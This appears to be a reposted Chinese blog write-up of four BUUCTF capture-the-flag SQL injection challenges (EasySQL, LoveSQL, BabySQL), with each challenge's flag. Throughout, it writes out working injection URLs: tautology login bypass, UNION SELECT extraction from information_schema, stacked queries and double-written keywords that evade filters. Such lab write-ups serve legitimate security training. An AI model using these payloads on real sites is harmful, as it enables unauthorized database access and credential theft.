BUUCTF[极客大挑战 2019]BabySQL

[极客大挑战 2019]EasySQL

题目

image-20230625112605495

题解

image-20230625112635732

随便输入用户名和密码,admin和admin

image-20230625112708844

尝试注入:

/check.php?username=admin&password=admin’

image-20230625112749282

出现报错信息,使用万能钥匙

/check.php?username=admin&password=admin’ or 1=1%23

根据错误信息

/check.php?username=admin&password=admin’ or’ 1=1

image-20230625112831641

爆出flag,本题flag为:

flag{819d0c4e-cce7-4f46-9aad-fa85460da70d}

[SUCTF 2019]EasySQL

题目

image-20230625113108425

题解

靶机界面:

image-20230625113129065

输入1和其他数字,都可正常回显,但是输入0和字母无法正常回显。

image-20230625113217860

抓包获取数据,此题为POST请求,数据在请求体当中

image-20230625113343151

输入的信息在请求体当中。

image-20230625113323809

在重发器当中测试,查看回显信息。可多次测试

发现在输入的信息后加‘、“、’)、”)等都不报错没有回显或出现Nonono。通过输入非0数字,能正常回显,0和字母不能正常回显,什么都没有显示。

image-20230625141749547

image-20230625141858493

image-20230625141940868

image-20230625142020133

猜测可能过滤了个别的sql语句

分号可正常查询数据:

query=1;

image-20230625142214422

推测可能存在堆叠注入

show查看数据库

query=1;show databases;

image-20230625114012762

查看数据表:

query=1;show tables;

image-20230625114046481

发现Flag数据表,里面可能有我们想要的信息,尝试获取:

query=1;show columns from Flag;

show columns from用来查询表中列名称

image-20230625114141669

出现Nonono,猜测可能后端过滤了Flag

刚刚我们输入非0数字正常回显,0和字母不能正常的回显,猜测说明sql语句当中可能存在||运算符,只有输入非0数字,才会返回true,回显条件。

猜测sql语句可能是select 输入||flag from Flag

构造payload:*,1

query=*,1

image-20230625114758664

||短路运算,前面为真,后面短路。返回true,回显。

相当于select *,1 from Flag

select *和select 所有列的意义基本相同,两者差别几乎可忽略。所以查询所有字段(或者大多数字段)的时候,可以用select *来操作

解法二:

payload:

query=1;set sql_mode=PIPES_AS_CONCAT;select 1

其中set sql_mode=PIPES_AS_CONCAT的作用是将||的作用由or变为拼接字符串,PIPES_AS_CONCAT令||起到连接符的作用。

回显成功,发现flag

image-20230625141119909

综上所示,本题flag为:

flag{c10b7151-b3b6-412b-8b0b-020f2600fcb0}

[极客大挑战 2019]LoveSQL

题目

image-20230625102925455

题解

拿到该靶机,观察界面,存在登录说明存在可能SQL注入,根据题目也可得知存在SQL注入

image-20230625103455746

可观察网页的源码信息,发现有check.php,猜测可能是登录界面时,输入账号和密码的跳转界面,提示信息。

image-20230625103605515

回到靶机界面,尝试登录:admin和admin

工具:hackbar

image-20230625103653148

提示用户名或密码错误,接下来我们进行注入,看是否报错:

/check.php?username=admin&password=admin’

image-20230625103757818

出现报错信息,可以尝试使用updatexml()函数报错注入。

但是updatexml限制字符长度为32,且最长为32位,超过32位爆不了

我们正常使用联合查询进行注入:

使用万能钥匙,看是否能爆出信息,正常回显:

/check.php?username=admin&password=admin’ or 1=1%23

/check.php?username=admin&password=admin’ or’ 1=1–+

image-20230625104143608

正常回显,拿此信息进行登录,发现还是此界面,继续注入,判断字段的个数:

/check.php?username=admin&password=d19fdabb42e569b878538b88d47f5c91’ order by 4%23

image-20230625104347440

出现错误信息,将4换成3

/check.php?username=admin&password=d19fdabb42e569b878538b88d47f5c91’ order by 3%23

image-20230625104425030

正常回显,说明有3列字段

判断回显点,联合查询:

/check.php?username=admin&password=-d19fdabb42e569b878538b88d47f5c91’ union select 1,2,3%23

image-20230625104747466

爆出当前的数据库版本信息以及当前的数据库:

/check.php?username=admin&password=-d19fdabb42e569b878538b88d47f5c91’ union select 1,version(),database()%23

image-20230625104836615

爆数据表:

/check.php?username=admin&password=-d19fdabb42e569b878538b88d47f5c91’ union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()%23

image-20230625105055851

猜测flag可能在第二个表当中,尝试去报第二个数据表的信息:

/check.php?username=admin&password=-d19fdabb42e569b878538b88d47f5c91’ union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’%23

image-20230625105232686

发现该数据包当中的敏感信息,继续爆破

爆出数据表的敏感信息,username和password:

/check.php?username=admin&password=-d19fdabb42e569b878538b88d47f5c91’ union select 1,2,group_concat(username,password) from l0ve1ysq1%23

回显成功,获取flag:

image-20230625103226855

滑到最右边可观察到flag

image-20230625103157529

综上所述

本题flag为flag{e45a955a-75e2-4f27-abb7-8f9ad51b020d}

猜测flag数据也可能存在其他的库当中,爆出全部的数据库信息:

/check.php?username=admin&password=-d19fdabb42e569b878538b88d47f5c91’ union select 1,version(),group_concat(schema_name) from information_schema.schemata%23

image-20230625105436764

其余的查询操作同以上操作基本一致,可猜测尝试查询,获取flag信息。
如果查不到,切换其他数据库或表即可。

BUUCTF[极客大挑战 2019]BabySQL

题目

image-20230624232008554

题解

image-20230624232036106

根据题目和界面,我们可知这是一道SQL注入题

查看网页的源码

image-20230625001223903

发现check.php,点击后发现

image-20230625001301152

通过以上信息可知check.php为跳转的登录界面,输入用户和密码后登录跳转。

使用admin和admin登录:

image-20230625001453296

用户密码不正常。

开始测试注入

打开hackbar获取当前的url

image-20230625001604879

测试闭合方式,加入‘报错

image-20230625001724946

使用万能钥匙:

image-20230625001815547

根据错误信息我们猜测可以是过滤了or,在or后面加个s,ors验证一下:

image-20230625001907685

测试确认,将or过滤掉了!

我们可以采用双写进行绕过尝试:

image-20230625002021572

成功回显,并爆出来了用户名和密码,我们将username和password进行更换

执行后,依旧是这个界面

image-20230625002131415

接下来我们来进行判断其字段的个数:

order当中存在or,所以双写绕过。

同时测试发现by也被过滤,所有我们继续双写绕过

/check.php?username=admin&password=9356e00537952a46e7bcf73abf6f2323’ oorrder bbyy 4–+

image-20230625002314697

报错了,将4换成3,再次尝试:

/check.php?username=admin&password=9356e00537952a46e7bcf73abf6f2323’ oorrder bbyy 3–+

image-20230625002422895

正常回显,说明有3列字段

判断回显点:

image-20230625002632989

再次报错,根据报错信息,我们猜测可能还存在过滤,在union和select的后面分别加个字母(任意),测试验证:

image-20230625002751865

说明union和select也被过滤了,同理我们还是双写绕过

/check.php?username=admin&password=-9356e00537952a46e7bcf73abf6f2323’ ununionion seselectlect 1,2,3–+

回显点:

image-20230625002917374

爆破当前数据库以及数据库版本:

/check.php?username=admin&password=-9356e00537952a46e7bcf73abf6f2323’ ununionion seselectlect 1,version(),database()–+

image-20230625003051770

爆数据库当中的数据表:

/check.php?username=admin&password=-9356e00537952a46e7bcf73abf6f2323’ ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

image-20230625003314559

通过上面的过程我们不难发现,此时还存在过滤,from和where也被过滤,同理双写绕过

/check.php?username=admin&password=-9356e00537952a46e7bcf73abf6f2323’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()–+

image-20230625003447937

正常回显。

通过观察猜测,爆b4bsql这个表数据(列的信息):

/check.php?username=admin&password=-9356e00537952a46e7bcf73abf6f2323’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘b4bsql’–+

image-20230625003707691

得到敏感信息,我们直接爆破数据:

/check.php?username=admin&password=-9356e00537952a46e7bcf73abf6f2323’ ununionion seselectlect 1,2,group_concat(username,passwoorrd) frfromom b4bsql–+

回显成功,划到最里面可观察到flag信息:

image-20230625003928959

flag字符串:

image-20230625003818710

综上所示,本题flag为:

flag{8e9c11c7-b6c7-4ac7-99ab-5556af55ef3b}

我们猜测在其他的表当中,可能也存在flag,爆出所有的数据库:

/check.php?username=admin&password=-2ce9b0fc0e30d1df0ac3fec1557c3da9’ ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata–+

image-20230625085836667

发现有ctf这个数据库,猜测ctf当中存在flag信息,爆出ctf库当中的表信息:

/check.php?username=admin&password=-2ce9b0fc0e30d1df0ac3fec1557c3da9’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’–+

image-20230625090026530

发现Flag这个数据包,继续爆列的信息:

/check.php?username=admin&password=-2ce9b0fc0e30d1df0ac3fec1557c3da9’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’–+

image-20230625091933875

获取flag信息:

/check.php?username=admin&password=-2ce9b0fc0e30d1df0ac3fec1557c3da9’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag–+

image-20230625092017658

成功回显,获取成功:

flag为:

flag{8fc708e5-7f33-4696-88ea-70b6f30c68ce}

文章不妥之处,欢迎批评指正!

猜你喜欢

转载自blog.csdn.net/rumil/article/details/131377304